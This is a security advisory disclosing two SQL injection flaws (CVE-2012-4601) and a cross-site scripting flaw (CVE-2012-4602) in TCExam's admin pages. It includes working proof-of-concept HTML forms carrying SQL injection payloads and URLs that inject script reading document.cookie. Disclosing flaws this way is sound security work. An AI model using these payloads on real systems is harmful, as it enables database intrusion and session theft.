Multiple vulnerabilities in TCExam

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in TCExam, which can be exploited to perform Cross-Site Scripting (XSS) and SQL injection attacks.

1. SQL Injection in TCExam: CVE-2012-4601
   1.1 Input passed via the “user_groups[]” POST parameter to /admin/code/tce_edit_test.php is not properly sanitised before being used in a SQL query.
   This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
   The following PoC (Proof of Concept) demonstrates the vulnerability:
   <form action=“http://tcexam/admin/code/tce_edit_test.php” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“test_id” value=“0”>
   <input type=“hidden” name=“test_name” value=“test_name”>
   <input type=“hidden” name=“test_description” value=“test_description”>
   <input type=“hidden” name=“user_groups[]” value=“‘+(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))+’”>
   <input type=“hidden” name=“add” value=“add”>
   <input type=“submit” name=“Submit” value=“Send”>
   </form>
   1.2 Input passed via the “subject_id” POST parameter to /admin/code/tce_show_all_questions.php is not properly sanitised before being used in a SQL query.
   This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
   The following PoC demonstrates the vulnerability:
   <form action=“http://tcexam/admin/code/tce_show_all_questions.php” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“subject_module_id” value=“2”>
   <input type=“hidden” name=“subject_id” value=“1 UNION SELECT question_type, version() AS numquestions FROM tce_questions”>
   <input type=“hidden” name=“update” value=“update”>
   <input type=“submit” name=“Submit” value=“Send”>
   </form>
   Successful exploitation of these vulnerabilities (1.1,1.2) requires attacker to be registered and logged-in and have permission level 5 or above.

2. Cross-Site Scripting (XSS) in TCExam: CVE-2012-4602
   Input passed via the “cid” and “uids” GET parameters to /admin/code/tce_select_users_popup.php is not properly sanitised before being returned to the user.
   This can be exploited to execute arbitrary HTML and script code in administrator’s browser session in context of an affected website.
   The following PoC demonstrates the vulnerability:
   http://tcexam/admin/code/tce_select_users_popup.php?cid="><script>al ert%28document.cookie%29;%3C/script%3E
   http://tcexam/admin/code/tce_select_users_popup.php?uids="><script>a lert%28document.cookie%29;%3C/script%3E